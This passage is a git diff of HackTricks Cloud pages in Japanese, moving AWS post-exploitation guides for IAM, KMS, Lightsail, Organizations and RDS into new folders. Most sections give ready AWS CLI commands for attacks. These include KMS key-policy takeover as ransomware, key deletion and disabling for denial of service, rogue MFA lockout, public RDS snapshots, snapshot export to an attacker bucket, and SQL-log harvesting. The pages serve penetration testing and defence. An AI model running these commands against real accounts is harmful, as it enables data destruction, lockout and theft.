+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### 不正な MFA 有効化
+`iam:EnableMFADevice` により、攻撃者はユーザのアイデンティティに MFA デバイスを登録でき、正当なユーザのサインインを阻止できます。一度不正な MFA が有効になると、そのデバイスが削除またはリセットされるまでユーザはロックアウトされる可能性があります（注: 複数の MFA デバイスが登録されている場合、サインインはどれか一つのデバイスで可能なため、この攻撃はアクセス拒否には影響しません）。
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### 証明書/鍵のメタデータ改ざん
+With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, an actor can change status or metadata of public keys and certificates. By marking keys/certificates inactive or altering references, they can break SSH authentication, invalidate X.509/TLS validations, and immediately disrupt services that depend on those credentials, causing loss of access or availability.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## 参考資料
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
deleted file mode 100644
index e665a76b1..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ /dev/null
@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-For more information check:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### 暗号化/復号化情報
-
-`fileb://` と `file://` は、ローカルファイルへのパスを指定するために AWS CLI コマンドで使用される URI スキームです:
-
-- `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルに一般的に使用されます。
-- `file://:` はファイルをテキストモードで読み込み、プレーンテキスト、スクリプト、または特別なエンコーディングを必要としない JSON に通常使用されます。
-
-> [!TIP]
-> 注意: ファイル内のデータを復号したい場合、ファイルには base64 エンコードされたデータではなくバイナリデータが含まれている必要があります。(fileb://)
-
-- **対称鍵** を使用する場合
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- **非対称**鍵を使用する:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-KMS に対する特権的アクセスを持つ attacker は、キーの KMS policy を変更し、**自分のアカウントに対するアクセスを付与することで**、legit account に付与されていたアクセスを削除できます。
-
-その結果、legit account のユーザーは、これらのキーで暗号化された任意のサービスの情報にアクセスできなくなり、アカウント上で簡単かつ効果的な ransomware を作り出します。
-
-> [!WARNING]
-> 注意: **AWS managed keys aren't affected**。影響を受けるのは **Customer managed keys** のみです。
-
-> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点にも注意してください（web console にこのオプションがないため、この攻撃は CLI からのみ実行可能になります）。
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> ポリシーを変更して外部アカウントのみにアクセスを与え、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、Put Polocy action cannot be performed from a cross account**ため、アクセスを戻すことはできない点に注意してください。
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-グローバルな KMS Ransomware を実行する別の方法として、以下の手順が考えられます:
-
-- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する
-- 被害者が以前のバージョンで暗号化した古いデータを新しいキーで **Re-encrypt older data** する
-- **Delete the KMS key**
-- そうすると、元の **key material** を持つ攻撃者だけが暗号化データを復号できるようになる
-
-### Delete Keys via kms:DeleteImportedKeyMaterial
-
-`kms:DeleteImportedKeyMaterial` 権限があれば、アクターは `Origin=EXTERNAL` を持つ CMKs（キー素材をインポートしている CMKs）からインポートされた key material を削除でき、それらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り元に戻せません。そのため、攻撃者は暗号化された情報を恒久的にアクセス不能にし、ransomware-like なデータ損失を実質的に引き起こすことが可能です。
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Destroy keys
-
-keys を破壊することで DoS を実行できる。
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> 注意: AWS は現在 **これらの操作がクロスアカウントから実行されることを防いでいます:**
-
-### Alias を変更または削除
-この攻撃は AWS KMS の aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの aliases に依存するサービスで即時の障害を引き起こし、結果として denial-of-service を招きます。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または再指向して暗号操作（例: encrypt, describe）を妨害できます。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マップされるまで失敗する可能性があります。
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Cancel Key Deletion
-`kms:CancelKeyDeletion` と `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key の予定された削除を取り消し、後で再度有効化できます。こうすることで鍵が回復（最初は Disabled state）し、以前に保護されていたデータを復号する能力が復元され、exfiltration を可能にします。
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Disable Key
-`kms:DisableKey` 権限を持つアクターは、AWS KMS の customer master key を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが途絶し、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### 共有シークレットの導出
-`kms:DeriveSharedSecret` 権限があれば、主体は KMSで保持されている秘密鍵とユーザー提供の公開鍵を用いて ECDH の共有シークレットを計算できます。
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-`kms:Sign` 権限があると、攻撃者は KMS に保存された CMK を使って秘密鍵を露出することなくデータに暗号学的な署名を行え、正当な署名を生成してなりすましや不正な操作の承認に利用することができます。
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、`kms:UpdateCustomKeyStore` のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号、署名操作が停止し、即時のサービス拒否を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
new file mode 100644
index 000000000..0116bf4ad
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Encrypt/Decrypt information
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` はファイルをバイナリモードで読み込みます。非テキストファイルに一般的に使用されます。
+- `file://:` はファイルをテキストモードで読み込みます。プレーンテキストファイル、スクリプト、または特殊なエンコーディングを必要としない JSON に通常使用されます。
+
+> [!TIP]
+> ファイル内のデータをdecryptしたい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります。(fileb://)
+
+- Using a **symmetric** key
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- **非対称**鍵を使用する:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+KMS に対する特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更して **自分のアカウントに対するアクセスを付与し**、正規のアカウントに付与されているアクセスを削除できます。
+
+すると、正規のアカウントのユーザーはそれらのキーで暗号化されたサービスの情報に一切アクセスできなくなり、アカウントに対する簡単だが効果的な ransomware を作り出します。
+
+> [!WARNING]
+> この攻撃では **AWS managed keys は影響を受けません**。影響を受けるのは **Customer managed keys** のみです。
+
+> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点に注意してください（web console にこのオプションがないため、この攻撃は CLI からのみ実行可能です）。
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> このポリシーを変更して外部アカウントのみにアクセスを付与し、その外部アカウントから元のアカウントにアクセスを戻すための新しいポリシーを設定しようとしても、クロスアカウントからは Put Polocy アクションを実行できないため、できません。
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### 一般的な KMS Ransomware
+
+グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:
+
+- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する
+- 被害者が以前のバージョンで暗号化した古いデータを **Re-encrypt older data** して新しいキーで再暗号化する
+- **Delete the KMS key**
+- こうしてオリジナルの key material を持つ攻撃者だけが暗号化されたデータを復号できるようになる
+
+### kms:DeleteImportedKeyMaterial による鍵の削除
+
+`kms:DeleteImportedKeyMaterial` permission があれば、アクターは `Origin=EXTERNAL` の CMKs からインポートされた key material を削除でき（キー素材をインポートした CMKs）、それによりそれらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り回復できません。結果として、攻撃者は暗号化された情報を恒久的にアクセス不能にして、ransomware-like data loss を実質的に引き起こすことができます。
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### キーを破壊
+
+キーを破壊すると、DoSを実行することが可能です。
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> 注意: AWS は現在 **以前の操作が cross account から実行されることを防止しています:** 
+
+### Alias の変更または削除
+この攻撃は AWS KMS aliases を削除またはリダイレクトし、キーの解決を失わせ、それらの aliases に依存するサービスで即時に障害を発生させ、denial-of-service を引き起こします。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または別の場所を指すように変更し、暗号化操作（例：encrypt、describe）を妨害できます。alias を key ID の代わりに参照しているサービスは、alias が復元されるか正しく再マッピングされるまで失敗する可能性があります。
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Cancel Key Deletion
+`kms:CancelKeyDeletion` や `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS のカスタマーマスターキーの予定された削除を取り消し、後で再有効化できます。こうすることでキーを回復（最初は Disabled 状態）し、以前に保護されていたデータを復号する能力を復元して、exfiltration を可能にします。
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### キーの無効化
+`kms:DisableKey` の権限があれば、攻撃者は AWS KMS のカスタマーマスターキー（CMK）を無効化でき、暗号化や復号で使用できなくなります。これにより当該 CMK に依存するサービスのアクセスが遮断され、キーが再有効化されるまで即時の障害や denial-of-service が発生する可能性があります。
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### 共有シークレットの導出
+`kms:DeriveSharedSecret` 権限を持つアクターは、KMS が保持する秘密鍵とユーザー提供の公開鍵を使用して ECDH 共有シークレットを計算できます。
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+`kms:Sign` の権限があれば、攻撃者は KMS-stored CMK を使って private key を露出させることなくデータを暗号的に署名し、正当な署名を生成して impersonation を可能にしたり悪意のある操作を承認したりできます。
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、または `kms:UpdateCustomKeyStore` のような権限があると、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除してそのマスターキーを利用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号化、署名操作が中断され、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し監視することが極めて重要です。
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index f5d03ed58..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - Lightsail ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-詳細については、次を確認してください:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### 古いDBスナップショットの復元
-
-DBにスナップショットがある場合、**古いスナップショットに現在削除された機密情報を見つけることができるかもしれません**。**スナップショットを新しいデータベースに復元**し、確認してください。
-
-### インスタンススナップショットの復元
-
-インスタンススナップショットには、**すでに削除されたインスタンスの機密情報**や、現在のインスタンスで削除された機密情報が含まれている可能性があります。**スナップショットから新しいインスタンスを作成**し、確認してください。\
-または、**スナップショットをEC2のAMIにエクスポート**し、通常のEC2インスタンスの手順に従ってください。
-
-### 機密情報へのアクセス
-
-Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
new file mode 100644
index 000000000..3a50f307b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### 古いDBスナップショットを復元する
+
+DBにスナップショットがある場合、古いスナップショット内に現在削除されている**機密情報を見つけられる可能性があります**。スナップショットを**新しいデータベース**に**復元**して確認してください。
+
+### インスタンスのスナップショットを復元する
+
+インスタンスのスナップショットには、既に削除されたインスタンスの**機密情報**や現在のインスタンスで削除された機密情報が含まれている場合があります。**スナップショットから新しいインスタンスを作成**して確認してください。\
+または**スナップショットをEC2のAMIにエクスポート**し、典型的なEC2インスタンスの手順に従ってください。
+
+### 機密情報へのアクセス
+
+潜在的な機密情報にアクセスするさまざまな方法を知るには、Lightsail privescのオプションを確認してください：
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
deleted file mode 100644
index 00e324856..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# AWS - Organizations Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizations
-
-AWS Organizationsに関する詳細は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Orgを離れる
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
new file mode 100644
index 000000000..7f1f36e8c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+AWS Organizations の詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### 組織の離脱
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
similarity index 69%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
index 2eed175da..fc7d800b1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
@@ -1,18 +1,18 @@
-# AWS - RDS ポストエクスプロイテーション
+# AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-詳細は以下を参照：
+詳細は次を参照してください:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にできる**。
+攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にする**ことができます。
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-これらの権限を持つ攻撃者は、**DBの snapshot を作成**してそれを**公開** **利用可能**にできます。すると、自分のアカウントでその snapshot から DB を作成できます。
+これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能に**することができます。そうすれば、そのスナップショットから自分のアカウントでDBを作成できます。
 
-攻撃者が**`rds:CreateDBSnapshot`を持っていない場合でも**、**他の**作成済み snapshot を**公開**することは可能です。
+攻撃者が **`rds:CreateDBSnapshot` を持っていない** 場合でも、**他の** 作成済みスナップショットを**公開**することは可能です。
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-`rds:DownloadDBLogFilePortion` の権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロードできる**。機密データやアクセス認証情報が誤ってログに記録されている場合、攻撃者はそれらを利用して権限を昇格したり、不正な操作を実行したりする可能性がある。
+`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDS インスタンスのログファイルの一部をダウンロードできます**。機密データや認証情報が誤ってログに記録されている場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
@@ -61,40 +61,40 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 
 ### `rds:DeleteDBInstance`
 
-これらの権限を持つ攻撃者は **DoS existing RDS instances** を行うことができます。
+これらの権限を持つ攻撃者は **DoS existing RDS instances** を実行できます。
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**潜在的な影響**: 既存のRDSインスタンスの削除およびデータ損失の可能性。
+**Potential impact**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
 > TODO: テスト
 
-この権限を持つattackerは**RDSインスタンスのスナップショットをS3バケットにエクスポートできる**。もしattackerが宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性がある。
+この権限を持つ攻撃者は、**RDS インスタンスのスナップショットを S3 バケットにエクスポートする** を実行できます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
 **Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
 
-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-cross-Region automated backups replicationを悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンに静かに複製し、そこでリストアします。攻撃者はリストアしたDBを公開アクセス可能にし、マスターパスワードをリセットして、守備側が監視していないリージョンでオフバンドにデータへアクセスできます。
+クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region にこっそり複製し、そこで復元します。攻撃者は復元した DB をパブリックに公開し、マスターパスワードをリセットして、守備側が監視していない可能性のある Region でアウトオブバンドにデータへアクセスできます。
 
 Permissions needed (minimum):
-- `rds:StartDBInstanceAutomatedBackupsReplication`（宛先リージョンで）
-- `rds:DescribeDBInstanceAutomatedBackups`（宛先リージョンで）
-- `rds:RestoreDBInstanceToPointInTime`（宛先リージョンで）
-- `rds:ModifyDBInstance`（宛先リージョンで）
-- `rds:StopDBInstanceAutomatedBackupsReplication`（オプション：クリーンアップ）
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`（リストアしたDBを公開するため）
+- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:ModifyDBInstance` in the destination Region
+- `rds:StopDBInstanceAutomatedBackupsReplication` (オプション: クリーンアップ)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
 
-Impact: 本番データのコピーを別リージョンにリストアし、攻撃者が管理する認証情報で公開することで、永続化およびデータの持ち出しが可能になります。
+Impact: 本番データのコピーを別の Region に復元し、攻撃者が管理する資格情報で公開することで、永続化とデータの外部流出が可能になります。
 
 <details>
-<summary>エンドツーエンドのCLI（プレースホルダを置き換えてください）</summary>
+<summary>エンドツーエンド CLI (プレースホルダーを置き換えてください)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,15 +163,15 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### DB parameter groups を介して完全な SQL ロギングを有効化し、RDS log APIs 経由で exfiltrate
+### DB parameter groups 経由でフル SQL ロギングを有効にし、RDS log APIs 経由で exfiltrate
 
-rds:ModifyDBParameterGroup を悪用し、RDS log download APIs を使ってアプリケーションが実行するすべての SQL ステートメントをキャプチャします（DB エンジンの認証情報は不要）。エンジンの SQL ロギングを有効化し、ファイルログを rds:DescribeDBLogFiles と rds:DownloadDBLogFilePortion（または REST の downloadCompleteLogFile）で取得します。秘密情報/PII/JWT を含む可能性のあるクエリを収集するのに有用です。
+`rds:ModifyDBParameterGroup` を悪用し、RDS log download APIs でアプリケーションが実行したすべての SQL ステートメントを取得します（DB エンジンの認証情報は不要）。エンジンの SQL ロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`（または REST の `downloadCompleteLogFile`）でログファイルを取得します。secrets/PII/JWTs を含む可能性のあるクエリを収集するのに有用です。
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (インスタンスがデフォルトの parameter group を使用している場合にカスタム parameter group をアタッチするためのみ)
-- `rds:RebootDBInstance` (再起動が必要なパラメータ用、例: PostgreSQL)
+- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
+- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
 
 Steps
 1) Recon target and current parameter group
@@ -180,9 +180,9 @@ aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
